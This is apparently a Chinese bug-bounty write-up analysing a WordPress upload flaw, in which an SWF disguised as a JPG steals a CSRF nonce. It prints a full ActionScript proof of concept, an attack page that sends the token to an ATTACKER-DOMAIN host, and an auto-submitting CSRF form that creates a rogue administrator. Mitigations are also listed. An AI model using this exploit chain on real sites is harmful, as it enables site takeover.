看我如何挖掘到WordPress漏洞并最终拿下$1337的赏金
字数 1223 2025-08-18 11:37:11
WordPress文件上传漏洞分析与利用教学
漏洞背景
WordPress作为全球最流行的开源CMS系统,拥有数百万用户和4600万次下载量。其安全性至关重要,因为一旦被攻破将影响大量网站。本教学将详细分析一个通过文件上传功能实现权限提升的漏洞。
技术原理
核心漏洞点
漏洞利用的是WordPress文件上传功能中对getimagesize()函数的错误使用:
getimagesize()函数可以处理多种文件类型,包括SWF(Flash)文件- WordPress仅通过该函数验证文件类型,而未进行更严格的检查
- 攻击者可以将恶意SWF文件伪装成JPG文件上传
文件上传流程
WordPress使用以下函数验证上传文件:
getimagesize()- PHP内置函数wp_check_filetype_and_ext()- WordPress函数wp_check_filetype()- WordPress函数
这些函数主要依赖文件头信息而非扩展名来判断文件类型。
漏洞利用步骤
1. 准备恶意Flash文件
创建一个简单的Flash文件,包含以下ActionScript代码(wp_poc.as):
package {
import flash.display.*;
import flash.external.ExternalInterface;
import flash.net.*;
import flash.system.Security;
public class wp_poc extends Sprite {
public function wp_poc() {
Security.allowDomain("*");
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var req:URLRequest = new URLRequest(paramObj.input);
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.TEXT;
loader.addEventListener(Event.COMPLETE, onComplete);
loader.load(req);
}
private function onComplete(event:Event):void {
ExternalInterface.call("stealtoken", event.target.data);
}
}
}
使用Flex SDK编译:
mxmlc.exe wp_poc.as
2. 伪装文件类型
将生成的wp_poc.swf重命名为wp_poc.jpg,保留SWF文件头(CWS)但使用JPG扩展名。
3. 上传文件
以"作者"权限登录WordPress,访问/wp-admin/media-new.php上传伪装的文件。
4. 创建攻击页面
编写HTML文件(steal.html)触发漏洞:
<html>
<head>
<title>WP PoC!</title>
<script>
function stealtoken(data) {
var str = data;
var n = str.lastIndexOf('wpnonce_create-user');
var result = str.substring(n + 28, n+28+10);
alert('Your token is ' + result);
document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result;
}
</script>
<object id="myObject" width="100" height="100"
allowscriptaccess="always"
type="application/x-shockwave-flash"
data="http://target-site/wp-content/uploads/2017/10/wp_poc.jpg?input=http://target-site/wp-admin/user-new.php">
<param name="AllowScriptAccess" value="always">
</object>
5. CSRF攻击
创建CSRF攻击页面(wordpress_csrf.php):
<form method="POST" name="csrf" action="http://target-site/wp-admin/user-new.php">
<input type="hidden" name="action" value="createuser" />
<input type="hidden" name="_wpnonce_create-user" value="<?php echo $_GET['token'];?>" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/user-new.php" />
<input type="hidden" name="user_login" value="Attacker" />
<input type="hidden" name="email" value="attacker@example.com" />
<input type="hidden" name="first_name" value="evil" />
<input type="hidden" name="last_name" value="hacker" />
<input type="hidden" name="url" value="" />
<input type="hidden" name="pass1" value="P@ssw0rd123" />
<input type="hidden" name="pass2" value="P@ssw0rd123" />
<input type="hidden" name="send_user_notification" value="1" />
<input type="hidden" name="role" value="administrator" />
<input type="hidden" name="createuser" value="Add New User" />
</form>
<script>document.forms["csrf"].submit();</script>
漏洞利用流程
- 攻击者上传伪装成JPG的SWF文件
- 受害者访问恶意HTML页面
- 页面加载伪装的SWF文件
- SWF文件读取WordPress后台页面(如同源请求)
- 提取CSRF token并发送给攻击者
- 攻击者使用token创建管理员账户
防御措施
-
文件验证改进:
- 不应仅依赖
getimagesize()验证文件类型 - 应检查文件实际内容与扩展名是否匹配
- 不应仅依赖
-
权限控制:
- 限制低权限用户上传特定文件类型
- 对上传文件进行内容扫描
-
安全配置:
- 使用CDN托管用户上传内容
- 设置正确的Content-Type头
-
WordPress修复:
- 该漏洞已被WordPress官方修复(CVE已分配)
- 建议保持WordPress版本最新
总结
本漏洞展示了如何通过精心构造的文件上传绕过WordPress的安全检查,最终实现权限提升。关键点在于:
- 利用
getimagesize()对SWF文件的识别特性 - 通过伪装文件扩展名绕过上传限制
- 利用同源策略和Flash的脚本访问权限窃取敏感信息
此案例强调了严格文件验证的重要性,以及不能仅依赖客户端或简单服务器端检查来保证安全性。